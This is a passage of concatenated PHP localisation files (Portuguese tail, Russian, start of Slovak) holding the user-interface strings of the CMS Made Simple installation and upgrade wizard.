$lang['wizard_step2'] = 'Detectar Software';
$lang['wizard_step3'] = 'Testes de Compatibilidade';
$lang['wizard_step4'] = 'Dados de Configuração';
$lang['wizard_step5'] = 'Dados de Conta Admin';
$lang['wizard_step6'] = 'Configurações do Site';
$lang['wizard_step7'] = 'Ficheiros';
$lang['wizard_step8'] = 'Configuração de Base de Dados';
$lang['wizard_step9'] = 'Finalizar';
$lang['xml_functions'] = 'A verificar a funcionalidade XML';
$lang['yes'] = 'Sim';
?><?php
$lang['action_freshen'] = 'Обновление / Восстановление  CMSMS %s установки';
$lang['action_install'] = 'Создание нового веб-сайта на CMS Made Simple %s';
$lang['action_upgrade'] = 'Обновить CMS Made Simple до версии %s';
$lang['advanced_mode'] = 'Включить расширенный режим';
$lang['apptitle'] = 'Помощник по установке и обновлению';
$lang['assets_dir_exists'] = 'Каталог ресурсов существует';
$lang['available_languages'] = 'Доступные языки';
$lang['build_date'] = 'Дата выпуска';
$lang['changelog_uc'] = 'История изменений';
$lang['cleaning_files'] = 'Очистка файлов, которые больше не применимы к выпуску';
$lang['config_writable'] = 'Проверить доступность записи для config.php';
$lang['confirm_freshen'] = 'Вы уверены, что хотите обновить (восстановить) существующую установку CMSMS? Используйте с особой осторожностью!';
$lang['confirm_upgrade'] = 'Вы действительно хотите начать процесс обновления';
$lang['curl_extension'] = 'Проверка расширения Curl';
$lang['create_assets_structure'] = 'Создание места для файловых ресурсов';
$lang['database_support'] = 'Проверка совместимых драйверов баз данных';
$lang['desc_wizard_step1'] = 'Запустите процесс установки или обновления.';
$lang['desc_wizard_step2'] = 'Анализ каталога назначения для поиска существующего программного обеспечения';
$lang['desc_wizard_step3'] = 'Убедитесь, что все в порядке, чтобы установить ядро CMSMS';
$lang['desc_wizard_step4'] = 'Для новых установок и обновления выполните ввод базовой информации о конфигурации';
$lang['desc_wizard_step5'] = 'Для новых установок введите данные учетной записи администратора';
$lang['desc_wizard_step6'] = 'Для новых установок введите некоторые основные сведения о сайте';
$lang['desc_wizard_step7'] = 'Извлечь файлы';
$lang['desc_wizard_step8'] = 'Создайте или обновите схему базы данных, установите начальные события, разрешения, учетные записи пользователей, шаблоны, таблицы стилей и контент';
$lang['desc_wizard_step9'] = 'Установите и / или обновите модули по мере необходимости, напишите файл конфигурации и очистите.';
$lang['destination_directory'] = 'Справочник назначения';
$lang['dest_writable'] = 'Разрешение записи в каталоге назначения';
$lang['disable_functions'] = 'Проверка отключенных функций';
$lang['done'] = 'Готово';
$lang['email_accountinfo_message'] = 'Установка CMS Made Simple завершена.
Это электронное письмо содержит конфиденциальную информацию и должно храниться в безопасном месте.
Ниже приведены сведения о вашей установке.
Имя пользователя: %s
Пароль: %s
Каталог установки: %s
Корневой URL: %s';
$lang['email_accountinfo_message_exp'] = 'Установка CMS Made Simple завершена.
Это электронное письмо содержит конфиденциальную информацию и должно храниться в безопасном месте.
Ниже приведены сведения о вашей установке.
Имя пользователя: %s
Пароль: %s
Каталог установки: %s';
$lang['email_accountinfo_subject'] = 'CMS MadeSimple успешно установлена';
$lang['emailaccountinfo'] = 'Отправить данные учетной записи';
$lang['emailaddr'] = 'Адрес электронной почты';
$lang['error_adminacct_emailaddr'] = 'Указанный адрес электронной почты недействителен';
$lang['error_adminacct_emailaddrrequired'] = 'Вы выбрали для отправки информации об учетной записи, но не указали действительный адрес электронной почты';
$lang['error_adminacct_password'] = 'Указанный вами пароль недействителен (должно быть не менее шести символов)';
$lang['error_adminacct_repeatpw'] = 'Введенные вами пароли не совпадали.';
$lang['error_adminacct_username'] = 'Указанное вами имя пользователя недействительно. Пожалуйста, попробуйте еще раз';
$lang['error_admindirrenamed'] = 'Похоже, что по соображениям безопасности вы, возможно, переименовали свой каталог CMSMS Admin. Вы должны отменить <a href=&quot;https://docs.cmsmadesimple.org/general-information/securing-cmsms#renaming-admin-folder&quot; target=&quot;_blank&quot; class=&quot;external&quot;>этот процесс</a> в чтобы продолжить!<br/><br/>После того, как вы вернули имя каталога администратора в исходное местоположение, перезагрузите эту страницу..';
$lang['error_backupconfig'] = 'Мы не смогли создать резервную копию файла config.php';
$lang['error_checksum'] = 'Исправленная контрольная сумма файла не соответствует оригиналу';
$lang['error_cmstablesexist'] = 'Похоже, что в этой базе данных уже установлена CMS. Введите другую информацию о базе данных. Если вы хотите использовать другой префикс таблицы, вам может потребоваться перезапустить процесс установки и включить расширенный режим.';
$lang['error_createtable'] = 'Проблема создания таблицы базы данных ... возможно, это проблема с разрешениями';
$lang['error_dbconnect'] = 'Мы не смогли подключиться к базе данных. Повторите проверку учетных данных, которые вы предоставили';
$lang['error_dirnotvalid'] = 'Каталог %s не существует (или не записывается)';
$lang['error_droptable'] = 'Проблема с отбрасыванием таблицы базы данных ... возможно, это проблема с разрешениями';
$lang['error_filenotwritable'] = 'Файл%s не может быть перезаписан (проблема с разрешениями)';
$lang['error_internal'] = 'Извините, что-то пошло не так ... (внутренняя ошибка) (%s)';
$lang['error_invalid_directory'] = 'Похоже, что каталог, который вы выбрали для установки, является рабочим каталогом самого установщика';
$lang['error_invalidconfig'] = 'Ошибка в файле конфигурации или отсутствующий файл конфигурации';
$lang['error_invaliddbpassword'] = 'пароль базы данных содержит недопустимые символы, которые нельзя безопасно сохранить.';
$lang['error_invalidkey'] = 'Неверная переменная участника или ключ %s для класса %s';
$lang['error_invalidparam'] = 'Недопустимый параметр или значение параметра:%s';
$lang['error_invalidtimezone'] = 'Указанный часовой пояс недействителен';
$lang['error_invalidqueryvar'] = 'Введенная переменная запроса содержит недопустимые символы. Используйте только буквенно-цифровые символы и символы подчеркивания.';
$lang['error_missingconfigvar'] = 'Ключ &quot;%s&quot; либо отсутствует, либо недействителен в файле config.ini';
$lang['error_noarchive'] = 'Поиск файла архива ... перезагрузите';
$lang['error_nlsnotfound'] = 'Поиск файлов NLS в архиве';
$lang['error_nodatabases'] = 'Не удалось найти совместимые расширения базы данных';
$lang['error_nodbhost'] = 'Введите правильное имя хоста (или IP-адрес) для подключения к базе данных';
$lang['error_nodbname'] = 'Введите имя допустимой базы данных на указанном выше узле';
$lang['error_nodbpass'] = 'Введите действительный пароль для аутентификации в базу данных';
$lang['error_nodbprefix'] = 'Введите действительный префикс для таблиц базы данных';
$lang['error_nodbtype'] = 'Выберите тип базы данных';
$lang['error_nodbuser'] = 'Введите действительное имя пользователя для аутентификации в базу данных';
$lang['error_nodestdir'] = 'Целевой каталог не установлен';
$lang['error_nositename'] = 'Имя сайта является обязательным параметром. Введите подходящее имя для своего сайта.';
$lang['error_notimezone'] = 'Ведите действительный часовой пояс для этого сервера';
$lang['error_overwrite'] = 'Проблема с разрешениями: невозможно перезаписать %s';
$lang['error_sendingmail'] = 'Ошибка отправки почты';
$lang['error_tzlist'] = 'Возникла проблема с получением списка идентификаторов часовых поясов';
$lang['errorlevel_estrict'] = 'Проверка на E_STRICT';
$lang['errorlevel_edeprecated'] = 'Проверка на E_DEPRECATED';
$lang['edeprecated_enabled'] = 'E_DEPRECATED включен в PHP error_reporting. Хотя это не будет препятствовать работе CMSMS, это может привести к появлению предупреждений на экране вывода, в частности, из более старых, сторонних модулей';
$lang['estrict_enabled'] = 'E_STRICT включен в PHP error_reporting. Хотя это не будет препятствовать работе CMSMS, это может привести к отображению предупреждений на выходе HTML, особенно из более старых, сторонних модулей';
$lang['fail_assets_dir'] = 'Каталог ресурсов уже существует. Это приложение может писать в этот каталог, чтобы рационализировать расположение файлов. Убедитесь, что у вас есть резервная копия';
$lang['fail_assets_msg'] = 'Каталог ресурсов уже существует. Это приложение может писать в этот каталог, чтобы рационализировать расположение файлов. Убедитесь, что у вас есть резервная копия';
$lang['fail_config_writable'] = 'HTTP-процесс не может записываться в файл config.php. Попробуйте изменить разрешения для этого файла на 777, пока процесс обновления не будет завершен';
$lang['fail_curl_extension'] = 'Расширение Curl не найдено. Хотя это не критическая проблема, это может вызвать проблемы с некоторыми сторонними модулями';
$lang['fail_database_support'] = 'Не найдено драйверов совместимых баз данных';
$lang['fail_file_get_contents'] = 'Функция file_get_contents не существует или отключена. CMSMS Не удается продолжить (даже установщик, вероятно, не сработает)';
$lang['fail_file_uploads'] = 'Возможности загрузки файлов в этой среде отключены. Некоторые функции CMSMS не будут работать в этой среде';
$lang['fail_func_json'] = 'Функция json не найдена';
$lang['fail_func_gzopen'] = 'Функция gzopen не найдена';
$lang['fail_func_md5'] = 'Функциональность md5 не найдена';
$lang['fail_func_tempnam'] = 'Функция tempnam не существует. Это обязательная функция для функциональности CMSMS';
$lang['fail_func_ziparchive'] = 'Функция ZipArchive не найдена. Это может ограничить функциональность';
$lang['fail_ini_set'] = 'Похоже, мы не можем изменить настройки ini. Это может вызвать проблемы в сторонних модулях (или при включении режима отладки)';
$lang['fail_intl_support'] = 'Расширение интернационализации PHP недоступно';
$lang['fail_magic_quotes_runtime'] = 'Похоже, что в вашей конфигурации включены магические кавычки. Отключите их и повторите попытку.';
$lang['fail_max_execution_time'] = 'Максимальное время выполнения %s не соответствует минимальному значению %s. Рекомендуем увеличить его до %s или выше.';
$lang['fail_memory_limit'] = 'Предельное значение вашей памяти слишком низкое. У вас есть %s, однако требуется минимум %s, и рекомендуется %s';
$lang['fail_multibyte_support'] = 'Поддержка Multibyte не включена в вашей конфигурации';
$lang['fail_output_buffering'] = 'Буферизация вывода не включена.';
$lang['fail_open_basedir'] = 'Действуют ограничения Open_basedir. CMSMS требует, чтобы это было отключено';
$lang['fail_php_version'] = 'Версия PHP, доступная для CMSMS, имеет решающее значение. Минимальная принятая версия - %s, хотя мы рекомендуем %s или больше. У вас %s';
$lang['fail_post_max_size'] = 'Максимальный размер  %s не соответствует минимальному значению %s. Рекомендуется использовать значение %s или более, и убедитесь, что оно больше, чем upload_max_filesize';
$lang['fail_pwd_writable2'] = 'HTTP-процесс должен иметь возможность записывать в целевой каталог (и ко всем файлам и каталогам под ним) для установки файлов. У нас нет разрешения на запись (по крайней мере) %s';
$lang['fail_register_globals'] = 'Пожалуйста, отключите register_globals в вашей конфигурации PHP';
$lang['fail_remote_url'] = 'Мы столкнулись с проблемами, связанными с удаленным URL. Это ограничит некоторые функции CMS Made Simple';
$lang['fail_safe_mode'] = 'CMSMS не будет работать должным образом в среде, где включен безопасный режим. Безопасный режим устарел как неудачный механизм и будет удален в будущих версиях PHP';
$lang['fail_session_save_path_exists'] = 'Значение переменной save_path недействительно или каталог не существует';
$lang['fail_session_save_path_writable'] = 'Каталог save_path сеанса недоступен для записи';
$lang['fail_session_use_cookies'] = 'CMSMS требует, чтобы PHP был настроен на сохранение ключа сессии в файле cookie';
$lang['fail_tmpfile'] = 'Функция tmpfile () системы не работает. Это необходимо для того, чтобы мы могли извлекать архивы. Необязательный аргумент url TMPDIR может быть предоставлен установщику для указания каталога для записи. См. Файл README, который должен быть включен в этот каталог.';
$lang['fail_tmp_dirs_empty'] = 'Временные каталоги CMSMS <em>(tmp/cache и tmp/templates_c) существуют и не являются пустыми. Удалите или опустите их.';
$lang['fail_xml_functions'] = 'Расширение XML не найдено. Включите это в PHP';
$lang['failed'] = 'неудачно';
$lang['file_get_contents'] = 'Проверка функции file_get_contents';
$lang['file_installed'] = 'Установлено %s';
$lang['file_uploads'] = 'Проверка поддержки загрузки файлов';
$lang['finished_custom_freshen_msg'] = 'Ваша версия была обновлена! Обновлены основные файлы и создан новый файл конфигурации. Посетите веб-сайт, чтобы убедиться, что все работает правильно.';
$lang['finished_custom_install_msg'] = 'Готово! Посетите веб-сайт и войдите в панель администратора.';
$lang['finished_custom_upgrade_msg'] = 'Готово! Посетите панель администратора CMSMS и интерфейс, чтобы убедиться, что все работает правильно. <br/> <strong> Подсказка: </strong>Теперь самое подходящее время для создания резервной копии.';
$lang['finished_freshen_msg'] = 'Ваша версия была обновлена! Обновлены основные файлы и создан новый файл конфигурации. Теперь вы можете <a href=&quot;%s&quot;> посетить свой сайт </a> или войти в <a href=&quot;%s&quot;> панель администратора CMSMS </a>.';
$lang['finished_install_msg'] = 'Мы это сделали! Теперь вы можете <a href=&quot;%s&quot;> посетить свой сайт </a> или войти в <a href=&quot;%s&quot;> панель администрирования CMSMS </a>.';
$lang['finished_upgrade_msg'] = 'Все готово! Пожалуйста, посетите <a href=&quot;%s&quot;> веб-сайт </a> и <a href=&quot;%s&quot;> панель администратора </a>, чтобы проверить правильность работы. Вам также может потребоваться обновить некоторые сторонние модули. <br/> <strong> Совет: </strong> Не забудьте создать резервную копию после проверки правильного работы сайта.';
$lang['freshen'] = 'Обновление (восстановление)';
$lang['func_json'] = 'Проверка функции json для кодирования и декодирования';
$lang['func_md5'] = 'Проверка функциональности md5';
$lang['func_tempnam'] = 'Проверить функцию tempnam';
$lang['func_gzopen'] = 'Проверить функцию gzopen';
$lang['func_ziparchive'] = 'Проверка функции ziparchive';
$lang['gd_version'] = 'Версия GD';
$lang['goback'] = 'Назад';
$lang['info_addlanguages'] = 'Выберите язык (в дополнение к английскому) для установки. <strong> Примечание: </strong> не все переводы завершены.';
$lang['info_adminaccount'] = 'Укажите учетные данные для начальной учетной записи администратора. Эта учетная запись будет иметь доступ ко всем функциям консоли администратора CMSMS.';
$lang['info_advanced'] = 'Расширенный режим позволяет использовать дополнительные параметры в процедуре установки.';
$lang['info_dbinfo'] = 'CMS Made Simple хранит большое количество данных в базе данных. Соединение с базой данных является обязательным. Кроме того, учетные данные пользователя, которые вы предоставляете, должны иметь ВСЕ ПРИВИЛЕГИИ в указанной базе данных, чтобы разрешить создание, удаление и изменение таблиц, индексов и представлений.';
$lang['info_errorlevel_edeprecated'] = 'E_DEPRECATED - это флаг для отчета об ошибках PHP, который указывает, что должны отображаться предупреждения о коде, использующем устаревшие методы. Хотя ядро CMSMS пытается гарантировать, что мы больше не используем устаревшие методы, некоторые модули могут не работать. Мы рекомендуем отключить этот параметр в настройках PHP';
$lang['info_errorlevel_estrict'] = 'E_STRICT - это флаг для отчетов об ошибках PHP&#39; который указывает, что должны соблюдаться строгие стандарты кодирования. Хотя ядро CMSMS пытается соответствовать стандартам E_STRICT, некоторые модули могут не работать. Мы рекомендуем отключить этот параметр в настройках PHP';
$lang['info_installcontent'] = 'По умолчанию этот установщик создаст примеры страниц, таблиц стилей и шаблонов в CMSMS. Образец контента содержит обширную информацию и советы по созданию сайтов с CMSMS и полезен для чтения. Однако, если вы уже знакомы с CMS Made Simple, отключение этой опции приведет к минимальному набору шаблонов, таблиц стилей и страниц контента.';
$lang['info_open_basedir_session_save_path'] = 'open_basedir включен в вашей конфигурации PHP. Мы не смогли правильно проверить возможности сеанса. Однако переход к этому моменту в процессе установки, вероятно, указывает на то, что сеансы работают нормально.';
$lang['info_pwd_writable'] = 'Это приложение нуждается в разрешении на запись в текущий рабочий каталог';
$lang['info_queryvar'] = 'Переменная запроса используется внутри CMSMS для идентификации запрошенной страницы. В большинстве случаев вам не нужно настраивать это.';
$lang['info_sitename'] = 'Имя веб-сайта используется в шаблонах по умолчанию в качестве части названия. Введите имя пользователя для веб-сайта';
$lang['info_timezone'] = 'Информация о часовом поясе необходима для расчета времени и отображения времени/даты. Выберите часовой пояс сервера';
$lang['ini_set'] = 'Тестирование, если мы сможем изменить настройки INI';
$lang['install'] = 'Установка';
$lang['install_attachstylesheets'] = 'Прикреплять таблицы стилей к темам';
$lang['install_backupconfig'] = 'Резервное копирование файла конфигурации';
$lang['install_createassets'] = 'Создание структуры активов';
$lang['install_created_index'] = 'Созданный индекс  %s ...%s';
$lang['install_create_tables'] = 'Создание таблиц базы данных';
$lang['install_createconfig'] = 'Создать новый файл конфигурации';
$lang['install_createcontentpages'] = 'Создание страниц контента по умолчанию';
$lang['install_created_table'] = 'Созданная таблица %s: ....%s';
$lang['install_createtablesindexes'] = 'Создание таблиц и индексов';
$lang['install_createtmpdirs'] = 'Создание временных каталогов';
$lang['install_creating_index'] = 'Созданный индекс %s';
$lang['install_default_collections'] = 'Установить коллекции по умолчанию';
$lang['install_defaultcontent'] = 'Установка контента по умолчанию';
$lang['install_detectlanguages'] = 'Обнаружение установленных языков';
$lang['install_dropping_tables'] = 'Очистить таблицы';
$lang['install_dummyindexhtml'] = 'Создание файлов index.html';
$lang['install_extractfiles'] = 'Извлечение файлов из архива';
$lang['install_initevents'] = 'Создание событий';
$lang['install_initsitegroups'] = 'Создание начальных групп';
$lang['install_initsiteperms'] = 'Установить начальные разрешения';
$lang['install_initsiteprefs'] = 'Настройка начальных настроек сайта';
$lang['install_initsiteusers'] = 'Создать начальную учетную запись пользователя';
$lang['install_initsiteusertags'] = 'Начальные пользовательские теги';
$lang['install_module'] = 'Установить модуль%s';
$lang['install_modules'] = 'Установка доступных модулей';
$lang['install_passwordsalt'] = 'Установить соль паролей';
$lang['install_requireddata'] = 'Задайте начальные требуемые данные';
$lang['install_schema'] = 'Создание схемы базы данных';
$lang['install_setschemaver'] = 'Установить версию схемы';
$lang['install_setsequence'] = 'Сбросить таблицы последовательности';
$lang['install_setsitename'] = 'Укажите имя сайта';
$lang['install_stylesheets'] = 'Создание таблиц стилей по умолчанию';
$lang['install_templates'] = 'Создание шаблонов по умолчанию';
$lang['install_templatetypes'] = 'Создание стандартных типов шаблонов';
$lang['install_update_sequences'] = 'Обновить таблицы последовательности';
$lang['install_updatehierarchy'] = 'Обновление позиций иерархии контента';
$lang['install_updateseq'] = 'Обновить последовательность для %s';
$lang['installer_ver'] = 'Версия установщика';
$lang['intl_support'] = 'Проверьте возможности интернационализации';
$lang['legend'] = 'Легенда';
$lang['magic_quotes_runtime'] = 'Убедитесь, что магические кавычки отключены';
$lang['max_execution_time'] = 'Проверка максимального времени выполнения PHP-скрипта';
$lang['meaning'] = 'Имея в виду';
$lang['memory_limit'] = 'Проверка достаточного предела памяти PHP';
$lang['msg_clearedcache'] = 'Очищенный кеш сервера';
$lang['msg_configsaved'] = 'Существующий файл конфигурации, сохранен в %s';
$lang['msg_upgrade_module'] = 'Обновленный модуль%s';
$lang['msg_upgrademodules'] = 'Обновление модулей';
$lang['msg_yourvalue'] = 'У вас есть: %s';
$lang['multibyte_support'] = 'Проверить поддержку мультибайта';
$lang['next'] = 'Следующий';
$lang['no'] = 'Нет';
$lang['none'] = 'Никто';
$lang['open_basedir'] = 'Ограничения open_basedir';
$lang['open_basedir_session_save_path'] = 'open_basedir включен. Не удается проверить путь сохранения сеанса.';
$lang['output_buffering'] = 'Обеспечение включения буферизации вывода';
$lang['pass_config_writable'] = 'Процесс HTTP имеет разрешение на запись в файл config.php';
$lang['pass_database_support'] = 'Найден хотя бы один совместимый драйвер базы данных';
$lang['pass_func_json'] = 'обнаружена функция json';
$lang['pass_func_md5'] = 'Функция md5 была обнаружена';
$lang['pass_func_tempnam'] = 'Функция tempnam существует';
$lang['pass_intl_support'] = 'Возможности интернационализации включены';
$lang['pass_memory_limit_nolimit'] = 'Нет предустановленного ограничения памяти PHP';
$lang['pass_multibyte_support'] = 'Поддержка Multibyte включена';
$lang['pass_php_version'] = 'В настоящее время настроенная PHP-версия не отвечает минимальным требованиям. Как минимум, требуется PHP %s, хотя мы рекомендуем %s или выше';
$lang['pass_pwd_writable'] = 'HTTP-процесс может записываться в целевой каталог. Это необходимо для извлечения файлов';
$lang['password'] = 'Пароль';
$lang['ph_sitename'] = 'Введите имя сайта';
$lang['php_version'] = 'Версия PHP';
$lang['post_max_size'] = 'Проверка максимального объема данных, которые могут быть отправлены по одному запросу';
$lang['prompt_addlanguages'] = 'Дополнительные языки';
$lang['prompt_createtables'] = 'Создание таблиц базы данных';
$lang['prompt_dbhost'] = 'Имя хоста базы данных';
$lang['prompt_dbinfo'] = 'Информация о базе данных';
$lang['prompt_dbname'] = 'Имя базы данных';
$lang['prompt_dbpass'] = 'Пароль';
$lang['prompt_dbport'] = 'Порт базы данных';
$lang['prompt_dbprefix'] = 'Префикс имени таблицы базы данных';
$lang['prompt_dbtype'] = 'Тип базы данных';
$lang['prompt_dbuser'] = 'Имя пользователя';
$lang['prompt_dir'] = 'Каталог установки';
$lang['prompt_installcontent'] = 'Установить примеры контента';
$lang['prompt_queryvar'] = 'Переменная запроса';
$lang['prompt_sitename'] = 'Название веб-сайта';
$lang['prompt_timezone'] = 'Часовой пояс';
$lang['pwd_writable'] = 'Переписываемый каталог';
$lang['queue_for_upgrade'] = 'Очередному не ядерному модулю %s для обновления на следующем шаге.';
$lang['readme_uc'] = 'Справка';
$lang['register_globals'] = 'Обеспечение  &quot;регистров глобальных переменных &quot; выключен';
$lang['remote_url'] = 'Проверьте, можем ли мы делать исходящие HTTP-соединения';
$lang['repeatpw'] = 'Повторите пароль';
$lang['reset_site_preferences'] = 'Сбросить настройки сайта';
$lang['reset_user_settings'] = 'Сбросить настройки пользователя';
$lang['retry'] = 'Повторить';
$lang['safe_mode'] = 'Тест для обеспечения &quot;безопасного режима&quot; выключен';
$lang['saltpasswords'] = 'Солевые пароли';
$lang['select_language'] = 'Первое, что мы попросим вас сделать, это выбрать нужный язык из списка ниже. Это сделано для вашего удобства во время шагов по установки системы, но не повлияет на выбор языка установленной CMSMS.';
$lang['send_admin_email'] = 'Отправить учетные данные для входа администратора';
$lang['session_capabilities'] = 'Тестирование правильных возможностей сеанса (сеансы используют файлы cookie и путь сохранения сеанса доступен для записи и т.д.)';
$lang['session_save_path_exists'] = 'Session Save_path существует';
$lang['session_save_path_writable'] = 'Session Save_path доступен для записи';
$lang['session_use_cookies'] = 'Обеспечение того, чтобы сеансы PHP использовали файлы cookie';
$lang['sometests_failed'] = 'Мы провели многочисленные тесты вашей текущей веб-среды. Несмотря на то, что не было обнаружено критических проблем, мы рекомендуем, чтобы следующие пункты были исправлены до продолжения.';
$lang['step1_advanced'] = 'Расширенный режим';
$lang['step1_destdir'] = 'Выбрать каталог';
$lang['step1_info_destdir'] = '<strong> Предупреждение: </strong>. Эта программа может установить или обновить несколько установок CMS Made Simple. Важно, чтобы вы выбрали правильный каталог для установки или обновления.';
$lang['step1_language'] = 'Выберите язык';
$lang['step1_title'] = 'Выберите язык';
$lang['step2_cmsmsfound'] = 'Была обнаружена установленная CMS Made Simple. Можно обновить эту версию. Однако перед продолжением убедитесь, что у вас есть текущая резервная копия всех файлов и базы данных';
$lang['step2_cmsmsfoundnoupgrade'] = 'Невозможно обновить эту версию с помощью этого приложения. Версия может быть слишком старой.';
$lang['step2_confirminstall'] = 'Вы уверены, что хотите установить CMS Made Simple';
$lang['step2_confirmupgrade'] = 'Вы уверены, что хотите обновить CMS Made Simple';
$lang['step2_errorsamever'] = 'Выбранный каталог содержит установленную CMSMS с той же версией, которая включена в этот скрипт. Продолжение будет обновлять установку.';
$lang['step2_errortoonew'] = 'Выбранный каталог содержит установленную CMSMS с более новой версией, включенной в этот скрипт. Не удалось продолжить';
$lang['step2_info_freshen'] = 'Обвновление включает в себя замену всех основных файлов и воссоздание конфигурации. Вам будет предложена основная информация о конфигурации, однако база данных не будет затронута.';
$lang['step2_installdate'] = 'Ориентировочная дата установки';
$lang['step2_install_dirnotempty2'] = 'Эта папка уже содержит некоторые файлы и /или подпапки. Хотя здесь можно установить CMSMS, это может привести к портированию существующего приложения. Проверьте содержимое этой папки. Для справки некоторые из файлов перечислены ниже. Убедитесь, что это правильно.';
$lang['step2_hdr_upgradeinfo'] = 'Информация о версии';
$lang['step2_info_upgradeinfo'] = 'Ниже приведены доступные примечания к выпуску и сведения о изменениях для каждой версии. На приведенных ниже кнопках будет отображаться подробная информация о том, что изменилось в каждой версии CMS Made Simple. В каждой версии могут быть дополнительные инструкции или предупреждения, которые могут повлиять на процесс обновления.';
$lang['step2_minupgradever'] = 'Минимальная версия, которую может обновить это приложение: %s. Возможно, вам потребуется обновить приложение до более новой версии поэтапно, используя другой метод перед завершением процесса обновления. Перед использованием любого метода обновления убедитесь, что у вас есть полная проверенная резервная копия.';
$lang['step2_nocmsms'] = 'Мы не нашли установленную CMS Made Simple в этом каталоге. Похоже, это новая установка';
$lang['step2_nofiles'] = 'В соответствии с запросом, файлы CMSMS Core не будут обрабатываться во время этого процесса';
$lang['step2_passed'] = 'Прошло';
$lang['step2_pwd'] = 'Ваш текущий каталог';
$lang['step2_schemaver'] = 'Версия схемы базы данных';
$lang['step2_version'] = 'Ваша версия';
$lang['step3_failed'] = 'Этот пакет выполнил многочисленные тесты вашей среды PHP, и один или несколько из этих тестов потерпели неудачу. Прежде чем продолжить, вам нужно будет исправить эти ошибки в своей конфигурации. После исправления ошибок нажмите &quot; Повторить &quot; ниже.';
$lang['step3_passed'] = 'Этот пакет выполнил многочисленные тесты вашей среды PHP, и все они прошли. Это отличная новость! Хотя это не всеобъемлющий тест, вам не составит труда запустить базовую установку CMSMS.';
$lang['step9_get_help'] = 'Свяжитесь с другими разработчиками CMSMS и получите помощь следующими способами';
$lang['step9_get_support'] = 'Каналы поддержки';
$lang['step9_join_community'] = 'Присоединяйтесь к нашему сообществу';
$lang['step9_love_cmsms'] = 'Нравиться CMS Made Simple ?';
$lang['step9_removethis'] = '<strong> Предупреждение </strong>. Из соображений безопасности важно удалить помощника по установке с вашего сайта для просмотра, как только вы подтвердите, что операция выполнена успешно.';
$lang['step9_support_us'] = 'Нажмите здесь, чтобы узнать, как вы можете поддержать нас';
$lang['symbol'] = 'Символ';
$lang['social_message'] = 'Я успешно установил CMS Made Simple!';
$lang['test_failed'] = 'Не удалось выполнить требуемый тест';
$lang['test_passed'] = 'Тест прошел <em> (прошедшие тесты отображаются только в расширенном режиме) </em>';
$lang['test_warning'] = 'Настройка выше требуемого значения, но ниже рекомендуемого значения или ... <br /> Возможность, которая может потребоваться для некоторых дополнительных функций, недоступна';
$lang['th_status'] = 'Статус';
$lang['th_testname'] = 'Тест';
$lang['th_value'] = 'Значение';
$lang['title_error'] = 'Хьюстон у нас проблема!';
$lang['title_step2'] = 'Шаг 2 - Обнаружение существующего ПО';
$lang['title_step3'] = 'Шаг 3 - Тесты';
$lang['title_step4'] = 'Шаг 4 - Основная информация о конфигурации';
$lang['title_step5'] = 'Шаг 5 - Информация об учетной записи администратора';
$lang['title_step6'] = 'Шаг 6 - Настройки сайта';
$lang['title_step7'] = 'Шаг 7 - Установка файлов приложений';
$lang['title_step8'] = 'Шаг 8 - Работа с базой данных';
$lang['title_step9'] = 'Шаг 9 - Завершение';
$lang['title_welcome'] = 'Добро пожаловать';
$lang['title_forum'] = 'Форум поддержки';
$lang['title_docs'] = 'Официальная документация';
$lang['title_api_docs'] = 'Официальная документация API';
$lang['to'] = 'в';
$lang['title_share'] = 'Поделитесь своим опытом с друзьями.';
$lang['tmpfile'] = 'Проверка работы tmpfile ()';
$lang['tmp_dirs_empty'] = 'Убедитесь, что временные каталоги пусты или не существуют.';
$lang['upgrade'] = 'Обновить';
$lang['upgrade_deleteoldevents'] = 'Удаление старых событий';
$lang['upgrading_schema'] = 'Обновление схемы базы данных';
$lang['upload_max_filesize'] = 'Проверка максимального размера загруженных файлов';
$lang['username'] = 'Имя пользователя';
$lang['warn_disable_functions'] = 'Примечание. Одна или несколько основных функций PHP отключены. Это может негативно сказаться на вашей установке CMSMS, особенно на сторонних расширениях. Следите за журналом ошибок. Ваши отключенные функции: <br/> <br/> %s';
$lang['warn_max_execution_time'] = 'Хотя максимальное время выполнения %s соответствует или превышает минимальное значение %s, мы рекомендуем вам увеличить его до %s или выше';
$lang['warn_memory_limit'] = 'Предельное значение вашей памяти составляет  %s, что выше минимума %s. Однако рекомендуется %s';
$lang['warn_open_basedir'] = 'open_basedir включен в вашей конфигурации php. Хотя вы можете продолжить, CMSMS не будет поддерживать установки с ограничениями open_basedir.';
$lang['warn_post_max_size'] = 'Максимальное значение вашего post max равно %s, что выше минимального %s, однако рекомендуется %s. Кроме того, убедитесь, что это значение больше, чем upload_max_filesize';
$lang['warn_tests'] = '<strong> Примечание. </strong> прохождение всех этих тестов должно гарантировать, что CMSMS функционирует правильно для большинства сайтов. Однако по мере роста сайта и увеличения функциональности эти минимальные значения могут стать недостаточными. Кроме того, у сторонних модулей могут быть дополнительные требования к правильной работе';
$lang['warn_upload_max_filesize'] = 'Хотя вашей настройки %s достаточно, рекомендуется увеличить значение параметра upload_max_filesize в PHP, по крайней мере, %s';
$lang['welcome_message'] = 'Добро пожаловать! Это механизм автоматической установки CMS Made Simple. 
Этот пакет позволит вам быстро и легко подтвердить, что ваш хостинг совместим с CMSMS, и установить или обновить до последней версии CMS Made Simple. Процедура установки вам обязательно понравится!';
$lang['wizard_step1'] = 'Добро пожаловать';
$lang['wizard_step2'] = 'Обнаружение существующего программного обеспечения';
$lang['wizard_step3'] = 'Тесты совместимости';
$lang['wizard_step4'] = 'Информация о конфигурации';
$lang['wizard_step5'] = 'Информация об учетной записи администратора';
$lang['wizard_step6'] = 'Настройки сайта';
$lang['wizard_step7'] = 'Файлы';
$lang['wizard_step8'] = 'Работа в базе данных';
$lang['wizard_step9'] = 'Завершено';
$lang['xml_functions'] = 'Проверка функциональности XML';
$lang['yes'] = 'Да';
$lang['ga'] = 'GA1.2.1505228635.1539520636';
$lang['gid'] = 'GA1.2.272944334.1647665194';
?><?php
$lang['action_freshen'] = 'Obnovuje/opravuje sa inštalácia CMSMS';
$lang['action_install'] = 'Vytváranie novej stránky CMSMS %s';
$lang['action_upgrade'] = 'Aktualizovanie webovej stránky CMSMS na verziu %s';
$lang['advanced_mode'] = 'Zapnúť pokročilý režim';
$lang['apptitle'] = 'Asistent inštaláciou a aktualizáciou';
$lang['available_languages'] = 'Dostupné jazyky';
$lang['build_date'] = 'Dátum zostavenia';
$lang['changelog_uc'] = 'ZOZNAM ZMIEN';
$lang['cleaning_files'] = 'Prebieha čistenie súborov, ktoré nie sú pre toto vydanie použiteľné';
$lang['config_writable'] = 'Kontrola možnosti zápisu do konfiguračného súboru';
